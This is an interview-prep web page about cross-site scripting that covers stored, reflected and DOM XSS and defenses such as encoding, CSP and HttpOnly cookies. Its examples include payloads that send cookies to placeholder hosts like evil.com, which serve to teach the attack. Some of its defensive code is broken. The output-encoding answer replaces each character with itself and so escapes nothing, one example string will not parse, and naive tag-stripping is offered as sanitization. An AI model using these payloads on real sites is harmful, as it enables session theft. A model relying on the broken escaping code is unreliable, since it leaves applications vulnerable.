BRUCE_FEBRUCE_FE

EN/CH Mode

BRUCE_FE Interview Notes - XSS Cross-Site Scripting Attack Explained

In-depth analysis of XSS attack principles, types and defense mechanisms. Learn how to prevent stored XSS, reflected XSS and DOM XSS attacks to protect web application security.

影片縮圖

Lazy to read articles? Then watch videos!

What is XSS Attack?

XSS (Cross-Site Scripting Attack) is like someone posting a 'sticky note with code' on a website. When others browse this website, the program on the sticky note automatically executes, potentially stealing your data or impersonating you.

Simple principle of XSS attack:

  Attacker                        Victim
    |                               |
    |-- Inject malicious code to website --> |
    |                               |-- Browse webpage with malicious code
    |<-- Steal data/execute unauthorized operations -- |

Unlike CSRF, XSS can not only execute operations but also read page content and steal data. Essentially, code is injected into web pages, allowing attackers to access users' cookies, LocalStorage and other sensitive information.

⚠️ What can XSS attacks do?

  • 1. Steal cookies to impersonate user login
  • 2. Obtain sensitive information
  • 3. Modify page content for phishing
  • 4. Record user input (such as passwords)
  • 5. Secretly execute operations (such as transfers)

Simple XSS attack example:

// Comment box input
<script>
  fetch('https://malicious-site.com?data='+document.cookie)
</script>

// Search box input
<img src="x" onerror="alert('Attacked')">

Types of XSS Attacks

XSS attacks are mainly divided into two types, each with different attack vectors and levels of harm:

1. Stored XSS (Backend)

Malicious code is permanently stored in the target server's database

// User comment

<script>fetch('https://evil.com?cookie='+document.cookie)</script>

Danger level: High (affects all users visiting the page)

2. Reflected XSS (Backend)

Malicious code is included in the URL, and the server reflects it back to the browser

// Malicious link

https://example.com/search?q=<script>alert('XSS')</script>

Risk level: Medium (requires inducing users to click specific URLs)

XSS attack flow example:

  Stored XSS:
  Attacker ------> Website Server ------> Victim User
     |              |                 |
  Submit malicious code  Save to database  Load page execute malicious code
                                      |
                                   Steal cookies/execute operations

  Reflected XSS:
  Attacker ------> Victim User ------> Website Server ------> Victim User
     |              |                |                 |
  Create malicious URL  Click malicious URL  Return page with malicious code  Execute malicious code

XSS Attack Examples

// Stored XSS - Forum comment
const userComment = '<img src="x" onerror="fetch('https://evil.com/steal?cookie='+document.cookie)">';
// Website doesn't filter and directly stores in database, all users execute malicious code when visiting page

// Reflected XSS - Search function
// https://example.com/search?q=<script>document.location='https://evil.com/steal?cookie='+document.cookie</script>
// Server directly reflects search term to page:
document.write('Search results: ' + urlParams.get('q'));

// DOM-based XSS - Client-side rendering
// https://example.com/page#<img src=x onerror=alert(1)>
// Client-side JavaScript:
document.getElementById('content').innerHTML = location.hash.substring(1);

How to Prevent XSS Attacks

Preventing XSS attacks requires multi-layered defense strategies, from input validation to output encoding, to security policy implementation:

1. Input Validation and Filtering

  • 1. Validate data type, length and format
  • 2. Filter special characters and HTML tags
  • 3. Use whitelist instead of blacklist

const sanitizeInput = (input) => input.replace(/<[^>]*>/g, '');

2. Output Encoding

  • 1. HTML encoding (< becomes &lt;)
  • 2. JavaScript encoding
  • 3. URL encoding
  • 4. Choose encoding method based on context

const safeOutput = escapeHtml(userInput);

3. Content Security Policy (CSP)

  • 1. Restrict sources of executable scripts
  • 2. Prohibit inline JavaScript
  • 3. Restrict dangerous functions like eval()

Content-Security-Policy: script-src 'self'

4. Other Security Measures

  • 1. Use HttpOnly cookies to prevent script access
  • 2. Implement X-XSS-Protection header
  • 3. Use security features of modern frameworks
  • 4. Regular security audits and penetration testing

Set-Cookie: sessionId=abc123; HttpOnly

XSS Protection in Modern Frameworks like React

Modern frameworks like React default to HTML escaping variables, but there are still risk points to be aware of:

// Safe - React auto-escapes
return <div>{userInput}</div>;

// Dangerous - Bypass React protection
return <div dangerouslySetInnerHTML={{ __html: userInput }} />;

// Dangerous - URL injection
return <a href={userInput}>Click</a>;  // If userInput is "javascript:alert(1)"

// Safe practices
// 1. Avoid using dangerouslySetInnerHTML
// 2. URL prefix check
const isSafeUrl = url => url.startsWith('http://') || url.startsWith('https://');
return <a href={isSafeUrl(userInput) ? userInput : '#'}>Click</a>;

🔥 Common Interview Questions

(1) What is XSS attack? How to effectively prevent it?

Answer: XSS (Cross-Site Scripting Attack) is a security vulnerability that allows attackers to execute malicious JavaScript code in victims' browsers. Attackers inject malicious code into websites, and when other users visit the page, the malicious code executes in the user's browser, potentially stealing cookies, session tokens, or other sensitive information.

Three main types of XSS attacks:

  1. Stored XSS: Malicious code is permanently stored on the target server (such as comments in database)
  2. Reflected XSS: Malicious code is included in the URL, and the server reflects it back to the browser
  3. DOM-based XSS: Vulnerability exists in client-side code, doesn't involve server processing

Effective methods to prevent XSS attacks include:

  1. Input validation and filtering: Validate all user input, filter or escape special characters

    const cleanInput = userInput.replace(/[<>]/g, '');

  2. Output encoding: Appropriately encode output based on context (HTML, JavaScript, URL, etc.)

    const safeHtml = userInput.replace(/&/g, '&') .replace(/</g, '<') .replace(/>/g, '>');

  3. Content Security Policy (CSP): Restrict sources of executable scripts, prohibit inline JavaScript

    Content-Security-Policy: script-src 'self' https://trusted-cdn.com

  4. Use HttpOnly cookies: Prevent JavaScript from accessing sensitive cookies

    Set-Cookie: sessionId=abc123; HttpOnly; Secure